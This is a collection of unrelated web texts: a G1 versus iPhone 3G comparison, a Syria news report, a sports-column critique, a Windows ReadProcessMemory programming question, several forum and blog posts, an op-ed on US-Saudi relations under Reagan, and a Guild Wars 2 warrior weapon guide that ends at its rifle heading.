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Breakdown: Android G1, iPhone share little in commonT-Mobile's new G1 smartphone based on Google's Android platform has been positioned against Apple's iPhone by the media, but that attempt to set up a dramatic showdown has fizzled as details show the two products aren't very similar.
Even before Google first outlined its Android strategy a year ago, it was clear that the rumored "gPhone" wouldn't be competing against the iPhone, but rather with Microsoft's Windows Mobile, which threatens Google's ability to push its search and information services to smartphone users. Apple's iPhone has served as an outlet for Google's services ever since it was released.
At the same time with the iPhone being the most talked about phone on the planet right now, T-Mobile is going to have a hard time not making comparisons particularly given the fact that T-Mobile can't sell the iPhone. Google is also contrasting its restriction-free Android Market against the iPhone's App Store. The most obvious comparison between the G1 and iPhone is in their hardware, but the features available on both are related to their software support and service limitations. Here, we'll take a look at all three areas to underline that the G1 is aiming at a very different audience than the iPhone crowd.
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Apple designs its own hardware in conjunction with its in-house software development. The iPhone also shares a tight software platform with the iPod touch and integrates into Apple's iTunes. The iPhone's biggest limiting factor is its connection with AT&T, which Apple has worked to smooth over by making itself the retailer and supporter of iPhone sales and service. Still, certain limits posed by AT&T impact Apple, including its 3G coverage and inability to offer tethering.
On the G1, Google's Android software is paired with a hardware design by HTC, a Windows Mobile manufacturer. Media options come from Amazon's music store (the phone isn't designed to sync with a PC, but rather only over the air with Google), and T-Mobile is providing the telephone service. This spreads around the responsibility for managing the G1 experience in usability, sales, support, features, and coverage.
That puts the G1 at the intersection of features supported by all of its vendor partners. For example, Android currently lacks software support for multitouch and advanced Bluetooth capabilities. Other HTC phones support advanced Bluetooth features, but often sport curious omissions, such as the G1's lack of a headphone jack and its paltry 1GB of storage memory.
That adds up to a product with no multitouch, limited Bluetooth features, limited memory that must be augmented at extra cost, and needing a clumsy workaround to use it as a music player. Add in the limitations posed by T-Mobile, the weakest 3G provider in the US with tethering limits of its own, and the G1 begins to look like the worst bits of all its partners.
The other side of the same coin is partner commitment. While Apple is only selling the iPhone, AT&T has other partners' phones to market, although nobody visiting an Apple Store would know that. With the G1 however, Google plans to offer competing Android hardware from other manufacturers; HTC builds Windows Mobile phones; T-Mobile has other devices to sell; and Amazon is working to sell MP3s to every platform. Nobody is backing the G1 exclusively in the way that Apple is putting all its muscle behind the iPhone and its advancement.
Hardware: G1 vs. the iPhone 3G
In raw hardware features, the G1 is $20 cheaper than the 8GB iPhone but only supplies 1GB of internal storage. Apple has pioneered offering a sizable amount of Flash RAM as standard on the iPhone and does not offer any expansion route. The G1, like most Windows Mobile and other smartphones, supplies very little memory to hit a lower price point, but offers a microSD slot so users can add more. HTC hasn't published the maximum size of the SD card [apparently it is limited to 8GB] the G1 can accommodate, but adding a basic 8GB card makes it $40 more, erasing any price advantage and making it slightly more expensive than the iPhone.
The G1 is significantly larger and heavier than the iPhone, in large part to its reliance on a sliding physical keyboard that makes it a half centimeter thicker. It lacks the iPhone 3G's curves and beveled edges, which will result in a bulkier feel. The keyboard should appeal to T-Mobile's SideKick users and people who like HTC's other Windows Mobile phones with sliding keyboards and an interface that relies upon six hardware buttons [the six buttons are a black menu button, a green phone button, a black home button, the trackball button, a black back button, and a red end call button] and a mouse pointer trackball rather than centering exclusively on consistent touch gestures. In fact, the G1 presently has no virtual keyboard option at all, so all text entry will require sliding the screen up and taping directly on its mini keypad.
Anyone interested in the iPhone 3G's interface will be disappointed to find that the G1 doesn't offer 'pinch to zoom,' two finger twirl, and other multitouch direct manipulations because Android is aiming to target the cheaper non-multitouch touch screen market. This is both a hardware limitation of the G1 and a current software limitation of the Android platform, so no software update will add this to the G1 later. Additionally, because software support for multitouch is missing, developers will have to roll their own for any subsequent Android phones that might support this in hardware, making that software incompatible with the G1.
As a mobile device, both phones support worldwide GSM/EDGE operation. However, due to the fact that the US didn't have the same radio bands available for UMTS 3G service as the rest of the world, US providers have had to build their own networks using what radio spectrum they could acquire. The iPhone exclusively supports AT&T's version of UMTS/HSPA 3G service in the US, while the G1 only supports T-Mobile's version of UMTS/HSPA in the US. Again, both support worldwide standards for GSM/EDGE and standard UMTS/HSPA 3G service outside of the US.
While complaints abound about AT&T's 3G service because it is only available in around 200 mostly urban markets in the US, T-Moble plans to have 3G service up in just 21 markets by the release of the G1, and 27 by the end of the year. Other 3G providers in the US, principally Verizon Wireless and Sprint, use Qualcomm EVDO 3G technology that is entirely incompatible with both American and international UMTS/HSPA service, although EVDO offers wider coverage within the US. The bottom line is that the G1 will have far less 3G service coverage than the iPhone 3G, even completely excluding significant markets such as Washington, D.C. and Houston, Texas.
Both the iPhone and the G1 say they offer 5 hours of talk time, but the G1 is only rated for 130 hours of standby, compared to 300 on the iPhone. Apple also outlines battery lifespan times for WiFi and audio and video use. Part of the reason the iPhone can claim longer life is its 1400mAh battery is larger than the 1150mAh in the G1, but Apple also has a better reputation in power management than HTC.
For external connectivity, both the G1 and iPhone 3G support WiFi and Bluetooth 2.0 EDR, although neither currently takes much advantage of the Bluetooth capabilities. The G1 also lacks a headphone jack, providing a single 11-pin port designed by HTC that instead breaks out into USB and audio (both stereo headphones and a mic). The iPhone 3G, like all iPods, has a 30-pin Dock connector which provides USB, audio in and out, remote features, as well as composite and component video output. In addition to this connector, the iPhone also has a standard audio headphone jack with mic support so you don't have to carry around a dongle just to use it as an iPod.
Both devices provide accelerometer support for sensing motion, GPS, and a simple fixed focus camera, although the G1 provides a 3.2 MP sensor (2048x1536 pixels) compared to the iPhone's 2 MP camera (1600x1200). The G1 also provides a digital compass, which enables it to present your direction as you move it, making the accelerometer controls smarter. The primary application for this is being able to hold up the phone in orbit around yourself to navigate Street Views. It could also be applied for intelligent maps that present North automatically so you don't get turned around.
In hardware, the G1 is clearly aiming at people who might be interested in a Windows Mobile phone, not a slick integrated product like the iPhone. It caters to people who buy hardware based on specification numbers and feature checklists rather than overall suitability for a task, elegant usability, and strong industrial design.
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U.N. observers suspended their patrols in Syria on Saturday due to a recent spike in violence, the strongest sign yet that an international peace plan was unraveling despite months of diplomatic efforts to prevent the country from plunging into civil war.
The U.N. observers have been the only working part of a peace plan brokered by international envoy Kofi Annan, which the international community sees as its only hope to stop the bloodshed.
The plan called for the foreign monitors to check compliance with a cease-fire that was supposed to go into effect on April 12, but they have become the most independent witnesses to the carnage on both sides as government and rebel forces have largely ignored the truce.
Maj. Gen. Robert Mood, the U.N. mission chief, said intensifying clashes over the past 10 days were "posing significant risks'' to the 300 unarmed observers spread out across the country, and impeding their ability to carry out their mandate.
The observers will not leave the country but will remain in place and cease patrols, Mood said in a taped statement, adding the suspension would be reviewed on a daily basis. Teams have been stationed in some of Syria's most dangerous cities, including Homs and Hama.
"The lack of willingness by the parties to seek a peaceful transition, and the push towards advancing military positions is increasing the losses on both sides,'' Mood said.
The decision came after weeks of escalating attacks, including reports of several mass killings that have left dozens dead.
The U.S. reiterated its call for the Assad regime to comply with the plan, "including the full implementation of a cease-fire.''
Underscoring the dangers, activists reported at least 50 people killed in clashes and shelling in several Syrian cities.
The peace plan's near-collapse has increased pressure on the international community, including President Bashar Assad's staunch allies Russia and China, to find another solution. But there has been little appetite for the type of military intervention that helped oust Libya's Moammar Gadhafi, and several rounds of sanctions have failed to stop the bloodshed.
Najib Ghadbian of the main Syrian opposition group, the Syrian National Council, said the concerns expressed by the U.N. mission could pressure Russia to allow more censure of Assad's regime.
"They are really under pressure to say `OK, what's next?''' he said. Are they going to continue to sabotage other ideas to protect civilians in Syria?''
Despite fears that violence could significantly worsen without U.N. monitors on the ground, activist Rami Abdul-Rahman of the Britain-based Syrian Observatory for Human Rights said their numbers were too small, and the conflict too large, for them to have any use.
"A lot of crimes happened in Syria, and they couldn't do anything,'' he said. "The situation can't get worse than this: are we afraid that it's a civil war? Well it is a civil war.''
The Syrian government, meanwhile, said it had informed Mood it understood the U.N. observers' decision and blamed rebels for the escalation in fighting.
"Armed terrorist groups have conducted, since the signing of the Annan plan, an increase in criminal operations that have targeted, many times, the observers, and threatened their lives,'' the Syrian foreign ministry said in a statement. Damascus frequently refers to rebels as "terrorists'' instead of Syrians seeking reforms.
The opposition, for its part, has blamed the regime for the attacks near the observers.
Last week, a U.N. convoy was blocked and attacked with stones, metal rods and gunfire by an angry crowd as it was trying to head to the town of Haffa in the coastal Latakia region, where troops had been battling rebels for a week.
The observers only managed to enter once government troops had seized the area back from the rebels.
On May 15, a roadside bomb damaged the observers' vehicles shortly after they met with Syrian rebels in the northern town of Khan Sheikoun. A week earlier, a roadside bomb struck a Syrian military truck in the south of the country just seconds after Mood drove by in a convoy.
National Security Council spokesman Tommy Vietor said the Obama administration was now consulting with allies about "next steps toward a Syrian-led political transition'' in compliance with the U.N. resolutions setting up the peace plan. He didn't give further details.
Opposition groups say more than 14,000 civilians and rebels have been killed since the uprising began in March 2011. The initially peaceful protests seeking Assad's ouster have morphed into an armed insurgency as his opponents take up weapons.
Abdul-Rahman, of the Syrian Observatory for Human Rights, has said more than 3,400 Syrian soldiers and pro-government militiamen have been killed.
The Syrian government has been waging a fierce offensive through towns and villages nationwide for the past week, trying to pound out rebels by shelling urban areas with tanks and attack helicopters. Rebels also have attacked Syrian forces, mostly trying to burn out their tanks.
The Observatory said more than 50 people were killed in clashes and shelling in towns close to Damascus, in the central provinces of Homs and Hama, in the seaside province of Latakia, the northern provinces of Idlib and Deir al-Zour and the southern province of Daraa.
Those included 12 people, including a man, his wife and child, who died during overnight government shelling in the Damascus suburb of Douma and seven killed by a mortar shell that ripped apart a bakery in Homs, according to Abdul-Rahman.
The Observatory said that the bodies of 11 people including one woman had been discovered in the capital's suburb of Saqba. It said some of them were "butchered.'' A video posted online showed a group of lifeless men crammed into a room with stab wounds, blood still spilling from one of them. The LCC reported 13 victims and provided the names of nine, saying some were "slaughtered with knives.''
Rebels appeared to kill an accused regime collaborator in an amateur video that was uploaded Saturday, repeatedly shooting his lifeless body.
There was no way of verifying government or activist claims because Syria does not allow reporters work independently. With U.N. observers now grounded, not even partial, independent confirmation of the deaths was available.
Syria's state news agency also said their forces killed a top al-Qaeda fighter on Saturday. They accused Walid Ahmed al-Ayish of organizing suicide car bombings in Damascus over the past few months.


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The man who once said his "No. 1 goal in writing is to never write a sentence you've already read" wrote many, many sentences you've already read — especially about tongue-bathing, juice-squirting and heat.
Reilly also wrote whole columns you may have already read. Sometimes, he just cribbed from his colleagues. Mostly, though, he just repurposed his own work. Everyone thought this was very bad, except for ESPN and the ever-useless Don Ohlmeyer, who responded by giving Reilly a tongue-bath.
Reilly's writing, when it wasn't plagiarized, merely sucked. (Remember when it didn't?) It sucked when he wrote about Larry Fitzgerald's dad. It sucked when he wrote about Lance Armstrong's ass. It sucked when he wrote about sportsmanship. It sucked when he wrote about Rick Neuheisel. It sucked when he wrote about the Broncos. It sucked when he wrote about a pizza delivery guy.
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In a column, he deemed Colt McCoy's girlfriend, Rachel Glandorf, "hotter than shrimp vindaloo," and the hornballs and curry enthusiasts among his readership began furiously Googling the poor woman.
Having transmogrified his writing into a line of sports-themed Precious Moments figurines, Reilly set out to ruin a new medium. On television, he made an ass of himself over and over and over and over again.
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Hey, I am trying to use the ReadProcessMemory function but every time I call it I get the error code 299 from the function GetLastError() that means: "Only part of a ReadProcessMemory or WriteProcessMemory request was completed.".
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Remark: the process ID is correct, I assure you .Code:handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, getPid()); SIZE_T bytesRead; std::string buffer(8, '\0'); unsigned long address = 0x001cf834; if (ReadProcessMemory(handle, &address, &buffer[0], 8, &bytesRead)) { return true; } else { cout << GetLastError() << '\n'; return false; }
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1) The address chosen to be the parameter of ReadProcessMemory is the address printed in the readed program, is that right?Code:#include <iostream> #include <fstream> using namespace std; int main() { char t[] = "my pattern" ; cout << "addr: " << &t << '\n'; cin.get(); }
2) By the way, always when i restart the readed program the address of char t changes, why? If I am allocating it statically shouldn't it have always the same address?
3) How can i search a program's memory like a debugger? I have tought of scanning its memory trough ReadProcessMemory respecting the maximum and minimum base addresses provided by the function GetSystemInfo(), is it the correct way of doing that?
4) If the last question is true, how much should be the buffer size of the ReadProcessMemory because I imagine that a call to this function should take a lot of time so implementing a buffer would help?
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I am quite jaded when it comes to parody music videos – but this one is as good as it gets. Unless you've been living under a rock you have already seen the sensational video for Justice's latest single, Stress (I posted about it awhile ago). The hoodlums' violence in the video was controversial to some but it was exactly the type of hardcore attitude that begged to be parodied. Without further ado I present to you, Justesse – No Stress directed by Thomas Vandenberghe (according to Antville and Youtube) and produced by Charles Villeneuve:
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Jennifer Woods is the goddess divine behind the blog, "Climbing My Family Tree" and she is the reason I've been introduced to you all. I wanted to start my way down this genealogical path and when I started my blog she told me about Geneabloggers and told me to get my butt over there and recommend my blog. What wonderful advice that was and I will forever be thankful.
Jenn is more than another genea-blogger to me. We go back to 1997-ish when we were both stationed in San Antonio, TX. She was in the Air Force and I was in the Army but I was still lucky enough to work with her. San Antonio was great for the both of us. It's where she married her hubby and where I met mine. Great times, great friends! Gosh time flies as we get older. It seems like yesterday!
She makes me so jealous! Her blog is not only informative and fun to read, but so creative and beautifully laid out! When I grow up, I want to be more like her :)
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lsd have golden era once.
The LSD owners are out of reach? I see a few advertisements which could mean someone is around. Are there any moderators on-board? What is the LSD history? Did this site once have hundreds of posters and then it dwindled down or was it always visited by just a small handful of posters? Was there once a fair amount of advertisers? I was over at TLS today. Someone was happy about landing an offer and was immediately thrashed by the board admins for bragging
.too unreal. To me it seems like the TLS the owner tossed the keys to a nice site to some unemployable admins who sit at their keyboards all day (many with +30,000 posts
which greatly accounts for the high post activity). However, I will say that it is not unusual that +300 posters are on-line. You all probably know all of that. Just saying, if there is a way to update LSD, there is a need.


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And i also have an business card. I see actually no reason why ??
Send the freight to california and everything went fine.
And i pay everything what it's costs. And others here, too. We paid for our own transport an pick up the omni ourselfes.
@steffen1980 you know you can put more than one line in a post right?
giroudf Posts: 127it's a way to make a statement.
Like a 4 years old child.
with tapping feet it's even better
Sorry for that.
Zash Posts: 9guys please. Let's stay polite and kind to each other. This won't help any of us. We're getting off the subject.
giroudf Posts: 127the step to fight in such situation is :
1) group, open a facebook page, or even a website with a domain main. Advertise for it, get registration with all details (name, location, order number etc...), make a fuss about it
what about iwantmyomni.org ?
2) set a strategy (get it idelivered in USA ?, rent container ? create/find a distributor )
3) expose situation to virtuix (they can hardly ignore 1000 people asking for the same thing )
4) if nothing works, sue them , finance it with a kickstarter.
put them in a situation where it cost them absolutely nothing more that delivering in USA, so they can hardly refuse.
What's about wewantouromni.org but iwantmyomni.org Sounds very good, too
I looking. It could be i can book the site. Moment please. I went back in a view moments. I also need your help for all the the content. I will spend my time to do this.
I ordered the domain i-want-my-omni.com. I hope it will be online availability in short. I need a little bit help to complete this.
GreyAcumen Posts: 307Maybe you should try to fund this through Kickstarter.
I want nothing for that. I would maybe an board for those they do Not get their omnis to find out any Options for virtuix. Crowdfunding is maybe an Option but we can create an call about the costs and ways for shipping. We going so far than we should find an option where we both
Can live with it. Virtuix an we all. You tell ne what we van try to Do and than we Do it.
Nossforra2 Posts: 84@steffen1980 , Honestly there is nothing to be done. It is time to realize that Virtuix has made a decision as a business and more then likely it was made by Capitol Investors who have probably bought controlling interest in the company. This is not an individual on ebay or craigslist that you are trying to plead with. Virtuix is a company ,business it is not bound by feelings or emotions it's bound by the almighty Dollar. And it's need to make as many of them for its investors as possible,and regretfully we are not in that category anymore.
If no one realize it. I maybe stop this and live them with this Bullshit.
I anyone which wann to go this way with me.... if not than i van maybe accept the refund but 3 percents are very too less.
I have now accept there sucking criminal refund-request. And hope we See US in hell. In build my own diy treadmil. I'm sure IT Works better than your crap as Plastic. I wait only 3 das for the money or you should better sendIng the packet.
I also stop the website. We can to nothing and it sucks to heaven. I hope we've got our own treadmill for europe.
When they released final to Europa i will never buy this peace of crap!!!!!
I maybe use the site for an open Source treadmill. Tank for all and hope we all find our was and hope virtuix project fails completely in Future!!!!!
I have received the refunds but it's not available yet. I think it's booked tomorrow.
@steffen1980 lay off the cocaine.
Haha i thinking you are one of those which snoozing complete streets of cocain ^^
And went to be a whole ba***rd
MarkH Posts: 11So, I totally understand where Jan and Virtux are coming from if it made common sense, but it doesn't make any sense at all (even though common sense isn't that common).
Virtux themselves cannot support the Omni's they sell..fair enough...so how the hell are they going to support Hero Entertainment? Obviously they are not...Hero Entertainment is going to support themselves.
The ONLY reason any company is going to take on 100% of the support is because they have essentially purchased the exclusive rights of the product. I suspect in some roundabout way, they already own the manufacturing company, and got themselves a dandy of a deal for the IP rights to the Virtux, but that came with some pretty harsh terms Virtux had no other choice to accept (or Hero would essentially railroad them out of business by building a knockoff or just back the KatVR instead. (since we know china won't care about international IP laws, and since they already control the plan that makes the product, Virtux is already **** out of luck with no where to turn..
Virtux can't afford by itself with its existing capital to fulfill our orders with the manufacturing company (I paid $800 3 years ago for 2xunits...my shopping card is $2600 worth of equipment they converted my $800 to. My guess is that they can refund my money of what $1200 or something stupid and I would be shocked if they didn't lose at least $1000 per unit on my order...better to save $800 and piss off a Non US person who really doesn't have a legal hope in hell of doing anything about it.
Lets face it...the US people don't have a hope in hell either, but a legal challenge doesn't need to be successful to be devastating to a company does it....
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Considering the consumer laws of the State of Texas and the terms and conditions of sale, no lawyer would touch a case based on this pro-bono.MarkH said:
Lets face it...the US people don't have a hope in hell either, but a legal challenge doesn't need to be successful to be devastating to a company does it....
They know that the only reason to pursue a case based on this would be to fulfill a grudge on the buyers side. So I ask, who is foolish enough to throw away $100K+ for a grudge lawsuit when they could just buy a 7K full arcade version of the Omni from Hero? It would be pointless and foolish.
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Have you not seen all of steffen1980's comments? he would be that foolish HAHA! I mean the guy doesn't even know that there is a fricken EDIT button to add more to his post, instead he spams in hopes it'll do anything other than make him look like an @$$... which it won't but it's funny to watch him make a fool of himself and go all hulk nerd rage on forums.CheezWiz said:
So I ask, who is foolish enough to throw away $100K+ for a grudge lawsuit when they could just buy a 7K full arcade version of the Omni from Hero? It would be pointless and foolish.
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Today we take a moment to recognize the completion of our company's first year in business and, more importantly, show our appreciation to those who made it possible.
Last August, our three co-founders officially "graduated" from the TechStars – Boulder class of 2009. Last week, a new crop of companies emerged from the stage of the Boulder Theater – ready to take on the world.
As those 11 companies look forward to their first and formative years of operation, we look back – and in doing so, we feel very fortunate that we not only "survived", but performed very well against our long list of company goals.
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The close, cozy relationship between the U.S. and Saudi Arabia began with Ronald Reagan, not George W. Bush as some filmmakers and journalists contend.
When Reagan came to office in 1981, he inherited a turbulent Middle East. Oil prices had jumped from $3.39 per barrel to more than $21. The zealously anti-American Shiite leader Ayatollah Khomeini had recently replaced the American-friendly shah of Iran. The Soviet Union was reinforcing its position in Afghanistan and one step closer to the oil-rich Persian Gulf. In the words of Jeane J. Kirkpatrick, the Soviet Union had "progressed from a continental power to a global one."
What few realized at the time was that these events would set the stage for the next two decades of U.S.-Saudi relations.
Reagan wanted not only to contain the Soviet Union but to "reverse the expansion of Soviet control and military presence throughout the world." The goal of the Reagan doctrine was to raise the costs of Moscow's foreign policy by championing democracy, outspending the Soviets on defense and supporting anti-Soviet insurgencies in the developing world.
The problem for Reagan was that his doctrine was expensive and America was exhausted. Still recovering from Vietnam, there was little public support for adventures in the Third World. But Reagan believed that his predecessors' failure to turn back Soviet advances in Angola and Ethiopia and elsewhere in the mid-1970s had only emboldened the Soviet Union.
To high-level administration officials, it became clear that to roll back the communists would be costly. CIA Director William J. Casey set out to find others to provide arms and money. The possibility of Saudi Arabian assistance dawned on the administration very early on. Not only could they provide the help Reagan wanted, but with the shah of Iran gone, the Saudis could also play a more prominent role as an oil-rich ally in a turbulent region.
Saudi Arabia had its own reasons for helping America fight the Soviets. First, the United States was instrumental to protecting Saudi oil fields and was a country with which the Saudi leadership wanted to stay on good terms. Second, Saudi Arabia was gravely concerned about the advancing Soviet Union. Riyadh interpreted Moscow's Afghanistan adventure as part of a Soviet-directed campaign to encircle the Arabian Peninsula with radical regimes and subvert the oil-rich monarchies. Soviet involvement in Yemen and Ethiopia bolstered that view. And third, it was awash in petrodollars, and could afford to help.
So the Reagan administration figured out how to integrate Saudi Arabian global concerns and surplus cash into U.S. foreign policy. In Afghanistan, the kingdom matched U.S. contributions dollar for dollar. Eventually, Washington and Riyadh poured about $3 billion into that broken country. Saudi Arabia also put $32 million into Nicaragua to fund the Contras, a fact that emerged in the Iran-Contra scandal. Saudi Arabia funneled money into Ethiopia's neighbor, Sudan, in order to pressure Ethiopia's pro-Soviet Mengistu government. Saudi Arabia assisted Angola's rebel leader, Jonas Savimbi, in support of U.S. goals, by providing Morocco with money for a UNITA training camp. Yet Saudi Arabia provided more than just funding. The kingdom provided an ideologically compatible partner in the battle against godless communism. In a neat division of labor, America attacked communism and Saudi Arabia targeted godlessness. During his tenure, Reagan regularly rattled off a list of countries of concern: Afghanistan, Angola, Cambodia, Ethiopia and Nicaragua. What few realized was that Saudi Arabia was either directly or indirectly involved in four of these five cases. The close partnership inspired Prince Bandar, Saudi Arabia's ambassador to the United States, to confide to a journalist in 1981 that "if you knew what we were really doing for America, you wouldn't just give us AWACS, you would give us nuclear weapons."
Why then the sudden interest in the connections between the House of Bush and the House of Saud? Clearly the two families have a number of overlapping interests. But exclusive attention to the Bush family misses the longer history of the American and Saudi Arabian contemporary relationship. For that, we have to look back to Reagan and his determined desire to rid the world of the Evil Empire.
Rachel Bronson, a senior fellow and director of Middle East studies at the Council on Foreign Relations, is the author of the forthcoming "With Us or Against Us? The Making of U.S. Policy Toward Saudi Arabia, 1945-Present" (Oxford University Press).


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I'm re-posting this guide to expose it a bit more to the forum, as per Fencers' suggestion.
This post is about how each weapon's skills handle. The official GW2 website touches a bit on each weapon in its warrior description, but I wanted to shed a little more light on how each setup seems to work within the game and to what playstyles they seem to cater, based on my experiences in the beta events and stress tests.
Note: These descriptions are set up in a reference style. If you're reading through the entire post and things seem to get a bit redundant or repetitive, it's probably due to each entry being self-contained.
Table of Contents:
I. One-handed Weapons
A. Axe Main-hand
1. Axe/Axe
2. Axe/Mace
3. Axe/Sword
4. Axe/Shield
5. Axe/War Horn
B. Mace Main-hand
1. Mace/Axe
2. Mace/Mace
3. Mace/Sword
4. Mace/Shield
5. Mace/War Horn
C. Sword Main-hand
1. Sword/Axe
2. Sword/Mace
3. Sword/Sword
4. Sword/Shield
5. Sword/War Horn
II. Two-handed Weapons
A. Greatsword
B. Hammer
III. Ranged Weapons
A. Longbow
B. Rifle
I. One-handed Weapons:
A. Axe Main-hand
1. Axe and Axe
The double-axe setup is designed for high melee damage with limited chasing and finishing capability. This combo allows for high single-target bursts from Chop (main-hand axe) and Dual Strike (off-hand axe), as well as high damage to all enemies near the warrior from Cyclone Axe and Whirling Axe. If an enemy begins to flee, this combination allows for either a cripple through Throw Axe or a leap towards the target through the one-hand-axe adrenaline skill, Eviscerate (which doubles as a high-burst damage skill).
If you're keen on the "berserker" style of gameplay, with high damage potential at the cost of defense or utility, the dual-axe combo might be for you.
2. Axe and Mace
An axe combined with a mace trades some damage potential for utility. While most of the damage from the axe is retained from Chop, Cyclone Axe, and Eviscerate, this combination has the options of applying the vulnerability condition (reduced armor) from Crushing Blow and knocking enemies to the ground with Tremor. These two abilities from the mace allow for more battlefield control than two axes, at the cost of some damage potential.
If you like high damage combined with limited control of your opponents, an axe and mace may fit your playstyle well.
3. Axe and Sword
An axe and a sword focuses on a combination of burst damage and damage over time. The axe abilities provide burst damage through Chop, Cyclone Axe, and Eviscerate, while the sword provides bleeds through Impale and Riposte. Additionally, Impale doubles as a ranged attack, while Riposte doubles as a defensive skill.
If you're looking for a blend of immediate damage and condition damage, you may take a liking to the axe and sword setup.
4. Axe and Shield
An axe and shield combination is the balanced setup of damage, control, and defense. The axe provides the damage with Chop, Cyclone Axe, and Eviscerate, and the shield provides the control through Shield Bash and the defense through Shield Stance.
If you want a blend of damage, control, and defense, take a look at the axe and shield combo.
5. Axe and War Horn
The setup of axe and war horn forgoes defensive capability in exchange for damage and utility. Chop, Cyclone Axe, and Eviscerate from the axe bring high damage potential, while the war horn provides swiftness (run speed) through Charge and vigor ("dodge power" regeneration) through Call to Arms. In addition, Call to Arms applies weakness (reduced attack damage and "dodge power" regeneration) to nearby enemies.
If you enjoy high damage coupled with the ability to help other players with boons, an axe and war horn may be what you want to use.
B. Mace Main-hand
1. Mace and Axe
The combination of a mace and an axe is oriented around control and defense while also enabling the player to retaliate with moderate damage. The mace ability Pommel Bash dazes enemies, preventing them from using their abilities temporarily, while the mace adrenaline skill, Skull Crack, will stun an enemy, preventing all action for a short duration. The defensive capability of this setup comes in the form of Counter Blow, blocking an attack and retaliating, or generating adrenaline for Skull Crack, depending on whether you are hit or not. The damage of this combo comes from the axe, either from Dual Strike or Whirling Axe.
If you'd rather lock down opponents before you dole out the damage, the mace and axe setup is something to give a try.
2. Mace and Mace
A combination of two maces is heavily oriented around controlling opponents. The main-hand mace provides Pommel Bash for dazes, Skull Crack for stuns, and Counter Blow for damage mitigation or adrenaline for Skull Crack, while the off-hand mace allows for armor reduction through Crushing Blow and knockdowns through Tremor.
If you enjoy keeping an enemy out of commission while your allies deal the damage, two maces may be the way to go.
3. Mace and Sword
A mace and sword setup is centered around control and defense while applying damage gradually. Pommel Bash and Skull Crack provide the control, Counter Blow (mace) and Riposte (sword) provide the defense, and Impale and Riposte provide the damage through bleed conditions.
If you like slowly killing your enemies while countering their attacks, consider the mace and sword setup.
4. Mace and Shield
A mace and shield is purely a defense and control combination. The mace and shield both allow for stunning your opponent (through Skull Crack and Shield Bash) and for blocking incoming attacks (through Counter Blow and Shield Stance). The mace also allows for dazing enemies with Pommel Bash.
If you prefer a "tanky" style of play, with high defense and control, take a look at the mace and shield.
5. Mace and War Horn
A mace combined with a war horn focuses on control and support, while also allowing for some defensive power. The mace provides the control through Pommel Bash and Skull Crack and the defense through Counter Blow, while the war horn provides the utility through Charge (run speed) and Call to Arms ("dodge power" regeneration).
If you like supporting your allies while being able to defend yourself, a mace and war horn may suit your needs.
C. Sword Main-hand
1. Sword and Axe
The sword and axe setup focuses on high damage combined with high mobility and control. The sword provides mobility through Savage Leap, damage over time through bleeds from Sever Artery and Gash, and control through Hamstring, with the adrenaline skill, Flurry, providing both control through immobilization and high damage. The off-hand axe's role is purely damage via Dual Strike and Whirling Axe.
If you're looking to jump from enemy to enemy, dishing out damage and leaving them to bleed out as you move on to the next target, the sword-axe combo may be just what you need.
2. Sword and Mace
A sword and mace combo is oriented around high mobility coupled with high control. Savage Leap from the sword brings the mobility, while Hamstring and Flurry from the sword and Crushing Blow and Tremor from the mace bring the control.
If you're keen on quickly moving between targets, locking them down while your allies finish them off, the sword and mace may suit your playstyle well.
3. Sword and Sword
The sword-sword setup is centered around damage over time and adaptability. With the main-hand sword's Sever Artery and Gash, the off-hand sword's Impale and Riposte, and the burst skill Flurry, this combo can apply several stacks of the bleed condition to targets very quickly. Couple this with the mobility of Savage Leap from the main-hand sword and the defensive power of Riposte from the off-hand sword, and you have a setup that can adapt to the situation on the fly.
If you prefer a playstyle that can change its focus on a whim, give the dual-sword combo a try.
4. Sword and Shield
The sword and shield combo combines the mobility of the one-handed sword with the defense and control of the shield. The sword provides mobility through Savage Leap and control through Hamstring, while the shield provides defense through Shield Stance. The fourth skill of this combo, Shield Bash, offers a doubling-up of both mobility and control, as it's a dash followed by a stun. Combining Shield Bash with Savage Leap can allow for very quick adaptation to battlefield hazards.
If you enjoy high mobility and control with defensive power to fall back on, the sword and shield combination might be just what you need.
5. Sword and War Horn
The sword-war horn combination combines the high mobility of the sword with the utility of the war horn. Savage Leap allows the warrior to navigate the field as needed. This synergizes well with the war horn's Charge and Call to Arms skills, providing boons to allies and conditions to enemies anywhere on the battlefield.
If you like being able to get anywhere you're needed at a moment's notice, the sword and war horn may be just the setup for you.
II. Two-handed Weapons:
A. Greatsword
The greatsword is centered around high single-target and area damage, mobility, and putting your opponent at a disadvantage. Greatsword Swing, Greatsword Slice, Brutal Strike, and Hundred Blades all deal large amounts of damage. The greatsword's adrenaline skill, Arcing Slice, not only deals a large amount of damage, but will also grant you the fury boon, further increasing your damage through increased crit chance. The mobility of the greatsword comes from both the Whirlwind Attack and Rush skills. Additionally, Greatsword Swing and Greatsword Slice apply stacks of vulnerability to your opponent, increasing the damage they take, and the fourth skill, Bladetrail, will throw your sword, crippling any enemies caught in its path.
If you enjoy high mobility while cutting down foes in your way, the greatsword might be your weapon of choice.
B. Hammer
The hammer is centered around high area-damage and controlling your opponents. Hammer Smash, Hammer Shock, Staggering Blow, and the adrenaline skill, Earthshaker, all deal area damage to anyone nearby. In the cases of Hammer Shock, Staggering Blow, and Earthshaker, these abilities double as ways to control your enemies with a cripple, a knockback, and a stun, respectively. Additionally, the second skill of the hammer, Fierce Blow, applies weakness to your opponent (reduced "dodge power" regeneration) and the fifth skill, Backbreaker, knocks an opponent to the ground; both of these abilities add to the hammer's potential for controlling enemies.
If your playstyle focuses on keeping your enemies at a disadvantage while crushing their bones to dust, take a look at the hammer.
III. Ranged Weapons:
A. Longbow
The longbow is centered around ranged area-damage coupled with limited utility and control. Fan of Fire, Arcing Arrow, and Combustive Shot (the adrenaline skill) all deal their damage in an area, with Fan of Fire firing three flaming arrows in a spread formation and both Arcing Arrow and Combustive Shot firing a large arrow that will explode when it lands. In Combustive Shot's case, the area where it explodes will be set on fire, burning all enemies in the area and creating an area through which allies (or the warrior) can fire projectiles to light enemies on fire. The longbow's control capability comes from its second ability, Smoldering Arrow (blinds a foe, causing their next attack to miss), and its fifth ability, Pin Down (immobilizes a foe).
If you enjoy raining down fiery death on several enemies at once, give the longbow a try.
B. Rifle
